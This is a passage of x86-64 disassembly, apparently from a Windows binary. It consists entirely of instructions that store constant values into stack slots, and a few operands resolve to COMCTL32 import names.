mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x7018], 0x6e63
mov eax, 0x406
mov word [rsp + 0x17dc], ax
mov dword [rsp + 0x701c], 0x477c
mov eax, 0xf15
mov word [rsp + 0x17e0], ax
movabs rax, 0x751f6c6324cf2e
mov qword [rsp + 0xe028], rax
mov dword [rsp + 0x7020], 0x6c0
movabs rax, 0x76d0d9dbc6f27a
mov qword [rsp + 0xe030], rax
mov dword [rsp + 0x7024], 0xf8c0
mov byte [rsp + 0x1f3], 0x1b
mov dword [rsp + 0x7028], 0x6374
movabs rax, 0x7a79ff83aabd05
mov qword [rsp + 0xe038], rax
movabs rax, 0x7784ad3e9692f2
mov qword [rsp + 0xe040], rax
movabs rax, 0x740d6712a489ae
mov qword [rsp + 0xe048], rax
mov dword [rsp + 0x702c], 0x27da
movabs rax, 0x75812444c966f0
mov qword [rsp + 0xe050], rax
mov dword [rsp + 0x7030], 0x177
movabs rax, 0x7365a8268998f3
mov qword [rsp + 0xe058], rax
mov dword [rsp + 0x7034], 0x5673
movabs rax, 0x7a942a05937f27
mov qword [rsp + 0xe060], rax
mov dword [rsp + 0x7038], 0x140b
mov byte [rsp + 0x1f4], 0x42
movabs rax, 0x7c2ccf46077631
mov qword [rsp + 0xe068], rax
movabs rax, 0x7e633d4cc271b5
mov qword [rsp + 0xe070], rax
mov dword [rsp + 0x703c], 0x3b42
mov dword [rsp + 0x7040], 0xd74a
mov dword [rsp + 0x7044], 0x4068
movabs rax, 0x71d1e58b4ad986
mov qword [rsp + 0xe078], rax
mov eax, 0x3fe
mov word [rsp + 0x17e4], ax
movabs rax, 0x77e9d1d420b89a
mov qword [rsp + 0xe080], rax
mov byte [rsp + 0x1f5], 0xae
movabs rax, 0x74b9c35604d836
mov qword [rsp + 0xe088], rax
mov eax, 0xd19
mov word [rsp + 0x17e8], ax
mov dword [rsp + 0x7048], 0x52b0
movabs rax, 0x7dfa56437bd245
mov qword [rsp + 0xe090], rax
mov eax, 0x48b
mov word [rsp + 0x17ec], ax
mov dword [rsp + 0x704c], 0x38c8
mov eax, 0x7a8
mov word [rsp + 0x17f0], ax
mov dword [rsp + 0x7050], 0xb1b2
movabs rax, 0x7c17b76759a14c
mov qword [rsp + 0xe098], rax
movabs rax, 0x73bb8329a83245
mov qword [rsp + 0xe0a0], rax
mov eax, 0x563
mov word [rsp + 0x17f4], ax
mov byte [rsp + 0x1f6], 0x50
mov dword [rsp + 0x7054], 0x5f25
mov dword [rsp + 0x7058], 0x488
mov byte [rsp + 0x1f7], 0x7d
mov byte [rsp + 0x1f8], 0xc5
mov eax, 0x78c
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x705c], 0xfce4
mov eax, 0xcf3
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x7060], 0x1a90
movabs rax, 0x712881db6206f7
mov qword [rsp + 0xe0a8], rax
movabs rax, 0x7812fdd2ec3d69
mov qword [rsp + 0xe0b0], rax
mov dword [rsp + 0x7064], 0x2dae
mov dword [rsp + 0x7068], 0x27ba
mov eax, 0x73b
mov word [rsp + 0x1800], ax
movabs rax, 0x7a3932085ed969
mov qword [rsp + 0xe0b8], rax
mov dword [rsp + 0x706c], 0xdc18
mov eax, 0x659
mov word [rsp + 0x1804], ax
movabs rax, 0x77d5e8e5ba20f0
mov qword [rsp + 0xe0c0], rax
movabs rax, 0x7e029ba019c894
mov qword [rsp + 0xe0c8], rax
movabs rax, 0x7590eed2389bda
mov qword [rsp + 0xe0d0], rax
movabs rax, 0x753ad852d10ab3
mov qword [rsp + 0xe0d8], rax
mov byte [rsp + 0x1f9], 0x73
movabs rax, 0x78415ef6996c9c
mov qword [rsp + 0xe0e0], rax
mov eax, 0xc3c
mov word [rsp + 0x1808], ax
mov byte [rsp + 0x1fa], 0xe7
mov eax, 0x339
mov word [rsp + 0x180c], ax
movabs rax, 0x740a2384482836
mov qword [rsp + 0xe0e8], rax
mov byte [rsp + 0x1fb], 0xa
mov eax, 0x217
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x7070], 0x5a0f
mov eax, 0x38e
mov word [rsp + 0x1814], ax
mov dword [rsp + 0x7074], 0x53ac
mov dword [rsp + 0x7078], 0x494b
movabs rax, 0x79d1fffd213249
mov qword [rsp + 0xe0f0], rax
mov eax, 0x2ef
mov word [rsp + 0x1818], ax
movabs rax, 0x75037f19b79db5
mov qword [rsp + 0xe0f8], rax
movabs rax, 0x752d2054666b65
mov qword [rsp + 0xe100], rax
mov dword [rsp + 0x707c], 0x4890
mov byte [rsp + 0x1fc], 0x5d
mov dword [rsp + 0x7080], 0x1f99
mov byte [rsp + 0x1fd], 2
movabs rax, 0x7cfa14d05d490a
mov qword [rsp + 0xe108], rax
mov dword [rsp + 0x7084], 0xd74a
mov eax, 0xee1
mov word [rsp + 0x181c], ax
movabs rax, 0x76151e898243f8
mov qword [rsp + 0xe110], rax
mov byte [rsp + 0x1fe], 0xb6
movabs rax, 0x7a41e29d724677
mov qword [rsp + 0xe118], rax
movabs rax, 0x7be65624d80da8
mov qword [rsp + 0xe120], rax
movabs rax, 0x70b62b39f4d5d8
mov qword [rsp + 0xe128], rax
mov eax, 0xf15
mov word [rsp + 0x1820], ax
mov eax, 0x2c
mov word [rsp + 0x1824], ax
mov eax, 0x287
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x7088], 0xeeb1
movabs rax, 0x7c0d3a6a96492a
mov qword [rsp + 0xe130], rax
mov byte [rsp + 0x1ff], 0x17
mov eax, 0x227
mov word [rsp + 0x182c], ax
movabs rax, 0x715faefa50818b
mov qword [rsp + 0xe138], rax
movabs rax, 0x753af11226716d
mov qword [rsp + 0xe140], rax
movabs rax, 0x7b7984a62c2114
mov qword [rsp + 0xe148], rax
movabs rax, 0x7addfe8b46ef28
mov qword [rsp + 0xe150], rax
mov eax, 0x8e
mov word [rsp + 0x1830], ax
movabs rax, 0x705f845b098d36
mov qword [rsp + 0xe158], rax
mov eax, 0x1bb
mov word [rsp + 0x1834], ax
mov byte [rsp + 0x200], 0x4c
mov eax, 0x25
mov word [rsp + 0x1838], ax
movabs rax, 0x7387b458e0ef26
mov qword [rsp + 0xe160], rax
movabs rax, 0x74874204e1b2a0
mov qword [rsp + 0xe168], rax
mov byte [rsp + 0x201], 0x64
mov eax, 0x6d9
mov word [rsp + 0x183c], ax
mov dword [rsp + 0x708c], 0xfa3
mov dword [rsp + 0x7090], 0x581a
mov byte [rsp + 0x202], 0x5b
movabs rax, 0x76639885f8f4d8
mov qword [rsp + 0xe170], rax
mov dword [rsp + 0x7094], 0xf62d
movabs rax, 0x787b2dbad72ba4
mov qword [rsp + 0xe178], rax
mov byte [rsp + 0x203], 0x7f
movabs rax, 0x74f15c3d5765d4
mov qword [rsp + 0xe180], rax
movabs rax, 0x784b1ed95e92de
mov qword [rsp + 0xe188], rax
mov eax, SetWindowSubclass
mov word [rsp + 0x1840], ax
mov eax, 0xeee
mov word [rsp + 0x1844], ax
mov byte [rsp + 0x204], 0x52
movabs rax, 0x7ee0662ba26691
mov qword [rsp + 0xe190], rax
movabs rax, 0x798b5ae5c671cf
mov qword [rsp + 0xe198], rax
mov eax, 0x5b0
mov word [rsp + 0x1848], ax
mov byte [rsp + 0x205], 0x4c
mov eax, 0xadf
mov word [rsp + 0x184c], ax
mov eax, 0x1f9
mov word [rsp + 0x1850], ax
mov byte [rsp + 0x206], 0x28
mov dword [rsp + 0x7098], 0x648f
mov dword [rsp + 0x709c], 0x7ef5
mov dword [rsp + 0x70a0], 0x15f5
mov byte [rsp + 0x207], 0xfa
mov dword [rsp + 0x70a4], 0xf7f7
mov eax, 0xbf
mov word [rsp + 0x1854], ax
movabs rax, 0x7ee63f31d6e748
mov qword [rsp + 0xe1a0], rax
movabs rax, 0x797c3ca1725d01
mov qword [rsp + 0xe1a8], rax
movabs rax, 0x77ecfb9f40c4fe
mov qword [rsp + 0xe1b0], rax
mov eax, 0x349
mov word [rsp + 0x1858], ax
movabs rax, 0x793840d0201cb0
mov qword [rsp + 0xe1b8], rax
mov eax, 0xd1
mov word [rsp + 0x185c], ax
mov eax, 0x261
mov word [rsp + 0x1860], ax
mov eax, 0x320
mov word [rsp + 0x1864], ax
mov byte [rsp + 0x208], 0x6e
movabs rax, 0x79e24e59bae679
mov qword [rsp + 0xe1c0], rax
mov byte [rsp + 0x209], DrawInsert
mov dword [rsp + 0x70a8], 0x35b6
movabs rax, 0x7224904b2564b6
mov qword [rsp + 0xe1c8], rax
mov byte [rsp + 0x20a], 0xe9
mov dword [rsp + 0x70ac], 0x3e07
mov byte [rsp + 0x20b], 0x3c
mov eax, 0x168
mov word [rsp + 0x1868], ax
mov dword [rsp + 0x70b0], 0x97d9
mov eax, 0xce2
mov word [rsp + 0x186c], ax
movabs rax, 0x752266e565e3c4
mov qword [rsp + 0xe1d0], rax
mov eax, 0xde7
mov word [rsp + 0x1870], ax
movabs rax, 0x7372fb4f28bbfc
mov qword [rsp + 0xe1d8], rax
mov byte [rsp + 0x20c], 0xb5
mov dword [rsp + 0x70b4], 0x7475
mov dword [rsp + 0x70b8], 0x55f6
movabs rax, 0x711d8db7da5c8a
mov qword [rsp + 0xe1e0], rax
movabs rax, 0x7e8797ba5cd281
mov qword [rsp + 0xe1e8], rax
mov dword [rsp + 0x70bc], 0x27bd
mov byte [rsp + 0x20d], 0x41
movabs rax, 0x772a403b5951cd
mov qword [rsp + 0xe1f0], rax
mov byte [rsp + 0x20e], 3
movabs rax, 0x783ad0c0df386d
mov qword [rsp + 0xe1f8], rax
movabs rax, 0x7c1435723b4825
mov qword [rsp + 0xe200], rax
mov eax, 0x5ae
mov word [rsp + 0x1874], ax
mov dword [rsp + 0x70c0], 0x3da5
mov eax, 0x4ef
mov word [rsp + 0x1878], ax
movabs rax, 0x74397a03da45c0
mov qword [rsp + 0xe208], rax
mov byte [rsp + 0x20f], 3
movabs rax, 0x7c72824b16e593
mov qword [rsp + 0xe210], rax
mov byte [rsp + 0x210], 0x62
mov byte [rsp + 0x211], 0x46
mov eax, 0x13c
mov word [rsp + 0x187c], ax
mov byte [rsp + 0x212], 0x96
mov dword [rsp + 0x70c4], 0x7a3e
mov byte [rsp + 0x213], 0x25
movabs rax, 0x7cfd6bee8b220f
mov qword [rsp + 0xe218], rax
mov eax, 0x6a
mov word [rsp + 0x1880], ax
mov dword [rsp + 0x70c8], 0x50cb
mov eax, 0x2d7
mov word [rsp + 0x1884], ax
movabs rax, 0x7292d47150222d
mov qword [rsp + 0xe220], rax
mov byte [rsp + 0x214], 0xa2
mov byte [rsp + 0x215], 0x94
mov dword [rsp + 0x70cc], 0x29ba
mov dword [rsp + 0x70d0], 0x6a66
mov eax, 0x785
mov word [rsp + 0x1888], ax
movabs rax, 0x780ea8ad53b018
mov qword [rsp + 0xe228], rax
mov dword [rsp + 0x70d4], 0xffe8
mov eax, 0x62b
mov word [rsp + 0x188c], ax
mov eax, 0x3f9
mov word [rsp + 0x1890], ax
mov byte [rsp + 0x216], 0x69
mov dword [rsp + 0x70d8], 0x58d6
movabs rax, 0x7580f6e25c796c
mov qword [rsp + 0xe230], rax
mov eax, 0x7e9
mov word [rsp + 0x1894], ax
mov byte [rsp + 0x217], 0x79
mov eax, 0x108
mov word [rsp + 0x1898], ax
mov byte [rsp + 0x218], 0x4a
movabs rax, 0x75efbd3bf2fa8a
mov qword [rsp + 0xe238], rax
mov byte [rsp + 0x219], 0x3c
movabs rax, 0x73728860ced563
mov qword [rsp + 0xe240], rax
movabs rax, 0x77deb25dc04777
mov qword [rsp + 0xe248], rax
mov dword [rsp + 0x70dc], 0xad0c
movabs rax, 0x7ac5c4284596e2
mov qword [rsp + 0xe250], rax
mov dword [rsp + 0x70e0], 0x6cfc
mov eax, 0x3ad
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x21a], 0x10
mov eax, 0xdd
mov word [rsp + 0x18a0], ax
mov byte [rsp + 0x21b], 0x1e
movabs rax, 0x77c074425b9d53
mov qword [rsp + 0xe258], rax
movabs rax, 0x7721b82ac2ddeb
mov qword [rsp + 0xe260], rax
mov eax, 0x814
mov word [rsp + 0x18a4], ax
movabs rax, 0x750a82e1e45e36
mov qword [rsp + 0xe268], rax
movabs rax, 0x7298f34da407d6
mov qword [rsp + 0xe270], rax
mov byte [rsp + 0x21c], 0x77
mov dword [rsp + 0x70e4], 0x2579
mov eax, 0x282
mov word [rsp + 0x18a8], ax
mov eax, 0xa4
mov word [rsp + 0x18ac], ax
mov eax, 0xb56
mov word [rsp + 0x18b0], ax
mov eax, 0x3c2
mov word [rsp + 0x18b4], ax
mov eax, 0xc4a
mov word [rsp + 0x18b8], ax
mov dword [rsp + 0x70e8], 0x5b35
movabs rax, 0x72ba5b1a18b819
mov qword [rsp + 0xe278], rax
movabs rax, 0x702f0990edad0a
mov qword [rsp + 0xe280], rax
mov eax, 0x59f
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x70ec], 0xba7d
movabs rax, 0x79cc5236db0411
mov qword [rsp + 0xe288], rax
mov byte [rsp + 0x21d], 0xcb
movabs rax, 0x7d4680f636c0fa
mov qword [rsp + 0xe290], rax
mov dword [rsp + 0x70f0], 0x4963
mov dword [rsp + 0x70f4], 0x696b
movabs rax, 0x717dafbfb4dc13
mov qword [rsp + 0xe298], rax
mov eax, 0x83e
mov word [rsp + 0x18c0], ax
movabs rax, 0x704a0047e91cf1
mov qword [rsp + 0xe2a0], rax
mov byte [rsp + 0x21e], 0x77
mov eax, 0x723
mov word [rsp + 0x18c4], ax
mov dword [rsp + 0x70f8], 0x27c3
mov dword [rsp + 0x70fc], 0xdb0
mov eax, 0x432
mov word [rsp + 0x18c8], ax
movabs rax, 0x73dd7f8ba5c5dc
mov qword [rsp + 0xe2a8], rax
mov eax, 0x7f3
mov word [rsp + 0x18cc], ax
movabs rax, 0x74165ce3c99813
mov qword [rsp + 0xe2b0], rax
mov dword [rsp + 0x7100], 0x4051
mov dword [rsp + 0x7104], 0x2078
movabs rax, 0x75a637a1c210a4
mov qword [rsp + 0xe2b8], rax
mov byte [rsp + 0x21f], 0x23
mov dword [rsp + 0x7108], 0x28e9
movabs rax, 0x761afc1db096d4
mov qword [rsp + 0xe2c0], rax
mov eax, 0x722
mov word [rsp + 0x18d0], ax
mov byte [rsp + 0x220], 0x76
movabs rax, 0x799570ee320717
mov qword [rsp + 0xe2c8], rax
mov eax, 0x77
mov word [rsp + 0x18d4], ax
movabs rax, 0x7d2a55466d3cc1
mov qword [rsp + 0xe2d0], rax
mov byte [rsp + 0x221], 0x8a
mov dword [rsp + 0x710c], 0x7e68
mov byte [rsp + 0x222], 0x54
movabs rax, 0x72908892fbd5fb
mov qword [rsp + 0xe2d8], rax
movabs rax, 0x749ae8b04fb66c
mov qword [rsp + 0xe2e0], rax
movabs rax, 0x7b9edee70236be
mov qword [rsp + 0xe2e8], rax
mov eax, 0x312
mov word [rsp + 0x18d8], ax
movabs rax, 0x77515e7195e4e5
mov qword [rsp + 0xe2f0], rax
movabs rax, 0x7907ee271d3b33
mov qword [rsp + 0xe2f8], rax
movabs rax, 0x7ee6e2dce06074
mov qword [rsp + 0xe300], rax
mov byte [rsp + 0x223], 0xd2
movabs rax, 0x76fb79f40b8042
mov qword [rsp + 0xe308], rax
movabs rax, 0x7c7a953ebddcce
mov qword [rsp + 0xe310], rax
mov eax, 0x5ac
mov word [rsp + 0x18dc], ax
movabs rax, 0x774ab656e33573
mov qword [rsp + 0xe318], rax
mov dword [rsp + 0x7110], 0x7029
mov byte [rsp + 0x224], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x7114], 0x55fe
movabs rax, 0x7d9f1faf14f680
mov qword [rsp + 0xe320], rax
movabs rax, 0x781f8618f6729a
mov qword [rsp + 0xe328], rax
mov dword [rsp + 0x7118], 0x619a
mov byte [rsp + 0x225], 0x31
movabs rax, 0x7e45ea76273d6a
mov qword [rsp + 0xe330], rax
mov dword [rsp + 0x711c], 0x2196
mov eax, 0x5af
mov word [rsp + 0x18e0], ax
mov dword [rsp + 0x7120], 0x469d
mov eax, 0x78f
mov word [rsp + 0x18e4], ax
movabs rax, 0x799b114db4c2d6
mov qword [rsp + 0xe338], rax
movabs rax, 0x7d62793f7afd13
mov qword [rsp + 0xe340], rax
mov byte [rsp + 0x226], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x7124], 0x55ae
movabs rax, 0x7c9433632e7a83
mov qword [rsp + 0xe348], rax
movabs rax, 0x74e9a24a8b4bfc
mov qword [rsp + 0xe350], rax
mov eax, 0x17c
mov word [rsp + 0x18e8], ax
mov dword [rsp + 0x7128], 0x4aa6
mov dword [rsp + 0x712c], 0xcf4
movabs rax, 0x73ab346836bdb6
mov qword [rsp + 0xe358], rax
mov byte [rsp + 0x227], 0x3d
mov eax, 0x7e
mov word [rsp + 0x18ec], ax
mov byte [rsp + 0x228], 0xb0
mov dword [rsp + 0x7130], 0x79bc
mov eax, 0xe98
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x7134], 0xd3e
mov dword [rsp + 0x7138], 0xead4
movabs rax, 0x798790845ad190
mov qword [rsp + 0xe360], rax
movabs rax, 0x7704a1d7b6c24b
mov qword [rsp + 0xe368], rax
mov dword [rsp + 0x713c], 0xea93
mov eax, 0x2ab
mov word [rsp + 0x18f4], ax
movabs rax, 0x757fb45f339bbc
mov qword [rsp + 0xe370], rax
movabs rax, 0x7e21fdc9bcc978
mov qword [rsp + 0xe378], rax
movabs rax, 0x72b7836c6e0372
mov qword [rsp + 0xe380], rax
mov dword [rsp + 0x7140], 0x9e8c
mov eax, 0x8db
mov word [rsp + 0x18f8], ax
mov byte [rsp + 0x229], 0x23
mov eax, 0x38f
mov word [rsp + 0x18fc], ax
movabs rax, 0x712cee740fd221
mov qword [rsp + 0xe388], rax
mov byte [rsp + 0x22a], 0xdc
mov eax, 0x3a
mov word [rsp + 0x1900], ax
movabs rax, 0x7b2106fae2f6d3
mov qword [rsp + 0xe390], rax
mov eax, 0x6b7
mov word [rsp + 0x1904], ax
mov eax, 0xae4
mov word [rsp + 0x1908], ax
movabs rax, 0x7b71fdd180d95e
mov qword [rsp + 0xe398], rax
mov eax, 0x73c
mov word [rsp + 0x190c], ax
mov eax, 0x757
mov word [rsp + 0x1910], ax
mov byte [rsp + 0x22b], 0x45
mov dword [rsp + 0x7144], 0x2695
movabs rax, 0x7e42648b66dd28
mov qword [rsp + 0xe3a0], rax
movabs rax, 0x7e7fc585d67b18
mov qword [rsp + 0xe3a8], rax
mov eax, 0xa26
mov word [rsp + 0x1914], ax
mov eax, 0x3d6
mov word [rsp + 0x1918], ax
movabs rax, 0x74604bb99e1143
mov qword [rsp + 0xe3b0], rax
mov dword [rsp + 0x7148], 0x8418
movabs rax, 0x7337b559c9b52b
mov qword [rsp + 0xe3b8], rax
mov dword [rsp + 0x714c], 0xe10a
mov eax, 0x60b
mov word [rsp + 0x191c], ax
movabs rax, 0x7c30d46f8b13bb
mov qword [rsp + 0xe3c0], rax
mov byte [rsp + 0x22c], 0x68
mov byte [rsp + 0x22d], DrawInsert
movabs rax, 0x7363bff1b762a2
mov qword [rsp + 0xe3c8], rax
movabs rax, 0x744a5dc75ace17
mov qword [rsp + 0xe3d0], rax
mov dword [rsp + 0x7150], 0x351
mov dword [rsp + 0x7154], 0x2f8f
mov dword [rsp + 0x7158], 0x2a27
mov dword [rsp + 0x715c], 0x5603
mov eax, 0x1d0
mov word [rsp + 0x1920], ax
movabs rax, 0x7bc986a2d6b14b
mov qword [rsp + 0xe3d8], rax
movabs rax, 0x7eceb56293ed51
mov qword [rsp + 0xe3e0], rax
mov eax, 0x7f6
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x7160], 0x51d6
movabs rax, 0x7d50721de30504
mov qword [rsp + 0xe3e8], rax
mov eax, 0x1d7
mov word [rsp + 0x1928], ax
mov eax, 0x28e
mov word [rsp + 0x192c], ax
mov eax, 0xa72
mov word [rsp + 0x1930], ax
mov eax, 0x93d
mov word [rsp + 0x1934], ax
mov eax, 0x94c
mov word [rsp + 0x1938], ax
mov dword [rsp + 0x7164], 0x1637
movabs rax, 0x7be9b9eaaa8e39
mov qword [rsp + 0xe3f0], rax
movabs rax, 0x73db54fca05262
mov qword [rsp + 0xe3f8], rax
movabs rax, 0x760d8c79def87b
mov qword [rsp + 0xe400], rax
mov byte [rsp + 0x22e], 0x28
mov dword [rsp + 0x7168], 0x7722
mov eax, 0xacc
mov word [rsp + 0x193c], ax
mov eax, 0x530
mov word [rsp + 0x1940], ax
mov eax, 0xf89
mov word [rsp + 0x1944], ax
mov dword [rsp + 0x716c], 0x9c1c
movabs rax, 0x700a25041fed11
mov qword [rsp + 0xe408], rax
mov eax, 0xfd4
mov word [rsp + 0x1948], ax
mov dword [rsp + 0x7170], 0x8a11
mov eax, 0x40e
mov word [rsp + 0x194c], ax
mov eax, 0xaa2
mov word [rsp + 0x1950], ax
mov byte [rsp + 0x22f], 0xd2
movabs rax, 0x777233b162f18e
mov qword [rsp + 0xe410], rax
movabs rax, 0x7372f37a407718
mov qword [rsp + 0xe418], rax
movabs rax, 0x7440120f01b14b
mov qword [rsp + 0xe420], rax
mov byte [rsp + 0x230], 0x33
mov dword [rsp + 0x7174], 0x3254
mov eax, 0x26d
mov word [rsp + 0x1954], ax
movabs rax, 0x75956e2a179b4b
mov qword [rsp + 0xe428], rax
mov dword [rsp + 0x7178], 0x4664
mov byte [rsp + 0x231], 0x61
mov eax, 0x3a8
mov word [rsp + 0x1958], ax
mov eax, 0x79
mov word [rsp + 0x195c], ax
mov eax, 0xfdb
mov word [rsp + 0x1960], ax
mov byte [rsp + 0x232], DrawInsert
mov eax, 0x27c
mov word [rsp + 0x1964], ax
mov eax, 0x500
mov word [rsp + 0x1968], ax
mov eax, 0x170
mov word [rsp + 0x196c], ax
mov dword [rsp + 0x717c], 0x48fe
mov eax, 0x78c
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x7180], 0x1564
mov eax, 0x5c5
mov word [rsp + 0x1974], ax
mov eax, 0xcc
mov word [rsp + 0x1978], ax
movabs rax, 0x700899cd48a66d
mov qword [rsp + 0xe430], rax
mov eax, 0xdfa
mov word [rsp + 0x197c], ax
mov byte [rsp + 0x233], 0x58
mov dword [rsp + 0x7184], 0x5e33
movabs rax, 0x70ceb58353cdb1
mov qword [rsp + 0xe438], rax
mov eax, 0xc98
mov word [rsp + 0x1980], ax
mov byte [rsp + 0x234], DrawInsert
movabs rax, 0x73bbafbefee8e8
mov qword [rsp + 0xe440], rax
mov dword [rsp + 0x7188], 0x4ebc
mov dword [rsp + 0x718c], 0x74d9
movabs rax, 0x7bf8011c8a0424
mov qword [rsp + 0xe448], rax
mov byte [rsp + 0x235], 0xbb
movabs rax, 0x74cd3c5938c40d
mov qword [rsp + 0xe450], rax
mov dword [rsp + 0x7190], 0x49c
mov eax, 0x454
mov word [rsp + 0x1984], ax
mov eax, 0xa93
mov word [rsp + 0x1988], ax
mov eax, 0x89d
mov word [rsp + 0x198c], ax
mov dword [rsp + 0x7194], 0x41b7
mov byte [rsp + 0x236], 0x62
mov byte [rsp + 0x237], 0x12
mov dword [rsp + 0x7198], 0x1422
movabs rax, 0x75848bdf3cc27f
mov qword [rsp + 0xe458], rax
movabs rax, 0x73b6fd9e5b483f
mov qword [rsp + 0xe460], rax
mov dword [rsp + 0x719c], 0x571a
mov eax, 0x1e3
mov word [rsp + 0x1990], ax
mov byte [rsp + 0x238], 0x37
mov eax, 0xe0a
mov word [rsp + 0x1994], ax
mov byte [rsp + 0x239], 0x22
mov eax, 0x914
mov word [rsp + 0x1998], ax
mov eax, 0xd2
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x23a], 0x4f
mov eax, 0x51a
mov word [rsp + 0x19a0], ax
movabs rax, 0x77f792402c6e30
mov qword [rsp + 0xe468], rax
mov eax, 0xfe4
mov word [rsp + 0x19a4], ax
movabs rax, 0x753b4d8578f03d
mov qword [rsp + 0xe470], rax
movabs rax, 0x7e4cad00f7866d
mov qword [rsp + 0xe478], rax
movabs rax, 0x7a4584eac8e0e7
mov qword [rsp + 0xe480], rax
movabs rax, 0x732b6ab6e71dca
mov qword [rsp + 0xe488], rax
mov dword [rsp + 0x71a0], 0xdea1
mov dword [rsp + 0x71a4], 0x5a53
movabs rax, 0x74af7308637149
mov qword [rsp + 0xe490], rax
movabs rax, 0x70718e49f9dc86
mov qword [rsp + 0xe498], rax
mov dword [rsp + 0x71a8], 0x1d39
movabs rax, 0x765c31e170cd96
mov qword [rsp + 0xe4a0], rax
movabs rax, 0x70e7f0a55055ea
mov qword [rsp + 0xe4a8], rax
mov eax, 0x93e
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x71ac], 0xb68c
movabs rax, 0x709f0f44ea0edd
mov qword [rsp + 0xe4b0], rax
movabs rax, 0x7da941a0b9980e
mov qword [rsp + 0xe4b8], rax
mov eax, 0x5ed
mov word [rsp + 0x19ac], ax
mov byte [rsp + 0x23b], 0x13
mov dword [rsp + 0x71b0], 0x42b2
mov dword [rsp + 0x71b4], 0x7114
mov byte [rsp + 0x23c], 0x90
movabs rax, 0x7dda40bb706e9d
mov qword [rsp + 0xe4c0], rax
mov byte [rsp + 0x23d], DrawInsert
mov eax, 0x3dd
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x23e], 0x4d
mov dword [rsp + 0x71b8], 0x67fc
mov dword [rsp + 0x71bc], 0x5bb4
movabs rax, 0x710b55aa6252e4
mov qword [rsp + 0xe4c8], rax
mov dword [rsp + 0x71c0], 0x754e
mov eax, 0xea1
mov word [rsp + 0x19b4], ax
mov dword [rsp + 0x71c4], 0x7fb9
mov dword [rsp + 0x71c8], 0x8807
movabs rax, 0x774c83c71eb8b3
mov qword [rsp + 0xe4d0], rax
mov byte [rsp + 0x23f], 0x61
mov dword [rsp + 0x71cc], 0x9426
mov dword [rsp + 0x71d0], 0x578e
movabs rax, 0x7c8966cb259523
mov qword [rsp + 0xe4d8], rax
mov byte [rsp + 0x240], 0xa4
mov byte [rsp + 0x241], 0xe7
movabs rax, 0x7790545b3bedd4
mov qword [rsp + 0xe4e0], rax
movabs rax, 0x7c582f6a2061bd
mov qword [rsp + 0xe4e8], rax
mov eax, 0x344
mov word [rsp + 0x19b8], ax
mov eax, 0x91e
mov word [rsp + 0x19bc], ax
movabs rax, 0x73d454e3c815dd
mov qword [rsp + 0xe4f0], rax
mov byte [rsp + 0x242], 0xf3
movabs rax, 0x79d2e192c56201
mov qword [rsp + 0xe4f8], rax
mov eax, 0x2d
mov word [rsp + 0x19c0], ax
mov byte [rsp + 0x243], 0x13
mov byte [rsp + 0x244], 0x25
movabs rax, 0x7e4b080ff12557
mov qword [rsp + 0xe500], rax
movabs rax, 0x7edebb7694fecf
mov qword [rsp + 0xe508], rax
mov dword [rsp + 0x71d4], 0x364f
movabs rax, 0x711743b8878ab3
mov qword [rsp + 0xe510], rax
mov eax, 0x2c7
mov word [rsp + 0x19c4], ax
mov byte [rsp + 0x245], 0x8e
mov eax, 0x8ad
mov word [rsp + 0x19c8], ax
movabs rax, 0x726ce06a123f92
mov qword [rsp + 0xe518], rax
mov dword [rsp + 0x71d8], 0x8fb9
mov byte [rsp + 0x246], 0x77
mov dword [rsp + 0x71dc], 0x4e7b
mov dword [rsp + 0x71e0], 0x52c8
mov dword [rsp + 0x71e4], 0x1aa4
mov eax, 0x25e
mov word [rsp + 0x19cc], ax
mov eax, 0x3f1
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x71e8], 0xa93f
mov dword [rsp + 0x71ec], 0x4d75
movabs rax, 0x74cc642b9b9890
mov qword [rsp + 0xe520], rax
movabs rax, 0x77fb1fe62b2246
mov qword [rsp + 0xe528], rax
mov byte [rsp + 0x247], 0x18
mov dword [rsp + 0x71f0], 0x2f65
mov eax, 0x4ef
mov word [rsp + 0x19d4], ax
mov eax, 0x986
mov word [rsp + 0x19d8], ax
mov eax, 0x1f1
mov word [rsp + 0x19dc], ax
mov dword [rsp + 0x71f4], 0x9d7
movabs rax, 0x7eb362e9e3b61a
mov qword [rsp + 0xe530], rax
mov dword [rsp + 0x71f8], 0x3474
movabs rax, 0x723e6feac09da1
mov qword [rsp + 0xe538], rax
movabs rax, 0x7670a8d5e65dc4
mov qword [rsp + 0xe540], rax
mov eax, 0x7c3
mov word [rsp + 0x19e0], ax
movabs rax, 0x7cc607e05daaa5
mov qword [rsp + 0xe548], rax
mov dword [rsp + 0x71fc], 0x9dcd
movabs rax, 0x7bd605d12078d0
mov qword [rsp + 0xe550], rax
movabs rax, 0x7433cefd48c964
mov qword [rsp + 0xe558], rax
mov byte [rsp + 0x248], 0x28
mov dword [rsp + 0x7200], 0xee8d
mov eax, 0x12d
mov word [rsp + 0x19e4], ax
mov eax, 0x492
mov word [rsp + 0x19e8], ax
mov byte [rsp + 0x249], 0x21
mov eax, 0x97
mov word [rsp + 0x19ec], ax
movabs rax, 0x75f6b9e889a888
mov qword [rsp + 0xe560], rax
mov byte [rsp + 0x24a], 5
mov dword [rsp + 0x7204], 0x49d9
mov dword [rsp + 0x7208], 0x433d
mov dword [rsp + 0x720c], 0x5a20
movabs rax, 0x7993f1feb4e6f0
mov qword [rsp + 0xe568], rax
movabs rax, 0x79da1f7849e8c7
mov qword [rsp + 0xe570], rax
movabs rax, 0x7317d464bd3c5d
mov qword [rsp + 0xe578], rax
mov dword [rsp + 0x7210], 0x77ff
movabs rax, 0x7c3bb9325654cd
mov qword [rsp + 0xe580], rax
mov byte [rsp + 0x24b], 0x5e
movabs rax, 0x74cc22009ee011
mov qword [rsp + 0xe588], rax
mov eax, 0xab7
mov word [rsp + 0x19f0], ax
